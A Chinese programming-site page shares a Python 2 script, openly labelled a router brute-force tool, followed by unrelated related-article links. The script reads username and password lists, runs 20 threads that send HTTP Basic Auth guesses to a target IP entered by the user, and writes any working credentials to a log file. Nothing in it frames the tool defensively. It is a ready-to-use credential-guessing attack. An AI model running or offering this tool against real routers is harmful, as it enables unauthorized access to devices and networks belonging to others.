python實(shí)現(xiàn)多線程暴力破解登陸路由器功能代碼分享
運(yùn)行時(shí)請(qǐng)?jiān)谄淠夸浵绿砑觰ser.txt passwd.txt兩文件。否則會(huì)報(bào)錯(cuò)。程序沒有加異常處理。代碼比較挫.....
#coding:utf-8-
import base64
import urllib2
import Queue
import threading,re,sys
queue = Queue.Queue()
class Rout_thread(threading.Thread):
def __init__(self,queue,passwd):
threading.Thread.__init__(self)
self.queue=queue
self.passwordlist=passwd
def run(self):
self.user=queue.get()
for self.passwd in self.passwordlist:
request = urllib2.Request("http://"+target)
psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd)
request.add_header('Authorization', psw_base64)
try:
response = urllib2.urlopen(request)
print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd)
fp3 = open('log.txt','a')
fp3.write(self.user+'||'+self.passwd+'\r\n')
fp3.close()
except urllib2.HTTPError:
print "[-]password:%s Error!" % (self.passwd)
if __name__ == '__main__':
print '''
#######################################################
# #
# Routing brute force tool #
# #
# by:well #
# #
#######################################################
'''
passwordlist = []
line = 20
threads = []
global target
target = raw_input("input ip:")
fp =open("user.txt")
fp2=open("passwd.txt")
for user in fp.readlines():
queue.put(user.split('\n')[0])
for passwd in fp2.readlines():
passwordlist.append(passwd.split('\n')[0])
#print passwordlist
fp.close()
fp2.close()
for i in range(line):
a = Rout_thread(queue,passwordlist)
a.start()
threads.append(a)
for j in threads:
j.join()
- python用裝飾器自動(dòng)注冊(cè)Tornado路由詳解
- Python3控制路由器——使用requests重啟極路由.py
- Python 中urls.py:URL dispatcher(路由配置文件)詳解
- Python操作RabbitMQ服務(wù)器實(shí)現(xiàn)消息隊(duì)列的路由功能
- python 3.5實(shí)現(xiàn)檢測路由器流量并寫入txt的方法實(shí)例
- python實(shí)現(xiàn)dijkstra最短路由算法
- Python Django基礎(chǔ)二之URL路由系統(tǒng)
- Python采用socket模擬TCP通訊的實(shí)現(xiàn)方法
- 用Python實(shí)現(xiàn)一個(gè)簡單的多線程TCP服務(wù)器的教程
- Python實(shí)現(xiàn)TCP探測目標(biāo)服務(wù)路由軌跡的原理與方法詳解
相關(guān)文章
python中pandas庫中DataFrame對(duì)行和列的操作使用方法示例
這篇文章主要介紹了python中pandas庫中DataFrame對(duì)行和列的操作使用方法示例,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2020-06-06Python Django安裝配置模板系統(tǒng)及使用實(shí)戰(zhàn)全面詳解
本文首先介紹了Django模板系統(tǒng)的基礎(chǔ)知識(shí),接著探討了如何安裝和配置Django模板系統(tǒng),然后深入解析了Django模板的基本結(jié)構(gòu)、標(biāo)簽和過濾器的用法,闡述了如何在模板中展示模型數(shù)據(jù),最后使用一個(gè)實(shí)際項(xiàng)目的例子來演示如何在實(shí)際開發(fā)中使用Django模板系統(tǒng)2023-09-09python實(shí)現(xiàn)定時(shí)播放mp3
這篇文章主要介紹了python實(shí)現(xiàn)定時(shí)播放mp3,程序非常簡單,功能很實(shí)用,主要是使用python實(shí)現(xiàn)了一首mp3歌每半小時(shí)播放一次,有需要的小伙伴可以參考下。2015-03-03對(duì)python中arange()和linspace()的區(qū)別說明
這篇文章主要介紹了對(duì)python中arange()和linspace()的區(qū)別說明,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2020-05-05python報(bào)錯(cuò): ''list'' object has no attribute ''shape''的解決
這篇文章主要介紹了python報(bào)錯(cuò): 'list' object has no attribute 'shape'的解決,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2020-07-07